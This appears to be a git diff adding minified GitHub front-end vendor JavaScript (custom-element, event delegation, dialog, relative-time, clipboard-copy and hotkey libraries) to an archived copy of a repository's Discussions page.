e=t.tagName.toLowerCase(),n=[];if(t.shadowRoot)for(const r of t.shadowRoot.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)||n.push(r);for(const r of t.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)===t&&n.push(r);return n}a(M,"findTargets");function k(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return W(this,o)}})}a(k,"target");function E(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return M(this,o)}})}a(E,"targets");function j(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}a(j,"register");function O(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}a(O,"autoShadowRoot");const m=new WeakMap;function T(t,o){m.has(t)||m.set(t,[]),m.get(t).push(o)}a(T,"attr");function N(t,o){o||(o=R(Object.getPrototypeOf(t)));for(const e of o){const n=t[e],r=F(e);let i={configurable:!0,get(){return this.getAttribute(r)||""},set(s){this.setAttribute(r,s||"")}};typeof n=="number"?i={configurable:!0,get(){return Number(this.getAttribute(r)||0)},set(s){this.setAttribute(r,s)}}:typeof n=="boolean"&&(i={configurable:!0,get(){return this.hasAttribute(r)},set(s){this.toggleAttribute(r,s)}}),Object.defineProperty(t,e,i),e in t&&!t.hasAttribute(r)&&i.set.call(t,n)}}a(N,"initializeAttrs");function R(t){const o=new Set;let e=t;for(;e&&e!==HTMLElement;){const n=m.get(e)||[];for(const r of n)o.add(r);e=Object.getPrototypeOf(e)}return o}a(R,"getAttrNames");function F(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}a(F,"attrToAttributeName");function U(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...R(t.prototype)].map(F).concat(o)},set(e){o=e}})}a(U,"defineObservedAttributes");const L=new WeakSet;function $(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),L.add(t),O(t),N(t),v(t),o&&o.call(t),t.shadowRoot&&P(t.shadowRoot)}a($,"initializeInstance");function B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..a46ba85 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var K=Object.defineProperty;var u=(W,L)=>K(W,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","node_modules_delegated-events_dist_index_js"],{59753:(W,L,H)=>{H.d(L,{f:()=>V,on:()=>z});function g(){if(!(this instanceof g))return new g;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}u(g,"SelectorSet");var x=window.document.documentElement,F=x.matches||x.webkitMatchesSelector||x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return F.call(e,r)},g.prototype.querySelectorAll=function(e,r){return r.querySelectorAll(e)},g.prototype.indexes=[];var q=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n=r.match(q))return n[0].slice(1)},"matchIdSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"CLASS",selector:u(function(r){var n;if(n=r.match(P))return n[0].slice(1)},"matchClassSelector"),element:u(function(r){var n=r.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var B=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"TAG",selector:u(function(r){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeName.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var C;typeof window.Map=="function"?C=window.Map:C=function(){function e(){this.map={}}return u(e,"Map"),e.prototype.get=function(r){return this.map[r+" "]},e.prototype.set=function(r,n){this.map[r+" "]=n},e}();var I=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function O(e,r){e=e.slice(0).concat(e.default);var n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 ${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of 